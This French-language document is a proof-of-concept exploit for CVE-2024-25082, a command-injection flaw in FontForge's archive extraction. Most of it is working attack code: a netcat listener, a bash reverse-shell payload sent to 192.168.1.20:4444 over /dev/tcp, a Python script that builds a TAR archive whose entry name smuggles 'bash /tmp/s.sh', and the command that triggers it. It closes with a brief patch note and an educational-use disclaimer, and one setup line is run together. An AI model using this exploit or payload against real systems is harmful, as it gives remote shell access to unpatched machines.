
Vulnérabilité d'injection de commandes via un nom de fichier contrefait dans FontForge Splinefont
| CVE | Vecteur | Déclencheur |
|---|
| CVE-2024-25081 | Nom de fichier fabriqué | Ouverture directe de fichier |
| CVE-2024-25082 | Nom de fichier d'archive fabriqué | Extraction TAR/ZIP/GZ/BZ2 |
Ce PoC cible CVE-2024-25082 — L'extraction automatique d'archive de FontForge transmet les noms de fichiers à un shell sans assainissement, permettant à une charge utile délimitée par un point-virgule intégrée dans un nom d'entrée TAR d'exécuter des commandes arbitraires.
FontForge prend en charge l'ouverture de fichiers de polices directement depuis les archives. Lors de l'extraction d'une archive TAR, le composant Splinefont construit une commande shell en utilisant le nom de fichier de l'entrée d'archive. Comme le nom de fichier n'est pas assaini, un point-virgule (;) dans le nom de l'entrée sort de la commande attendue et injecte des instructions shell arbitraires.
Nom d'entrée TAR malveillant :
exploit.ttf;bash /tmp/s.sh;
Lorsque FontForge traite cette archive, le shell interprète cela comme :
<extract command> exploit.ttf ; bash /tmp/s.sh ;
192.168.1.20:4444 (ajuster si nécessaire)tarfile)netcat sur la machine attaquantenc -lvnp 4444
# Écrire la charge utile du reverse shell
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh
# Construire l'archive malveillante
python3 << 'EOF'
import tarfile, io
malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF
fontforge exploit.tar
Un reverse shell se connectera à votre écouteur.
Corrigé dans FontForge après 20230101 via PR #5367. Mettre à jour vers la dernière version.
sudo apt upgrade fontforgeCe code de preuve de concept (PoC) est fourni à des fins éducatives et de tests de pénétration autorisés uniquement.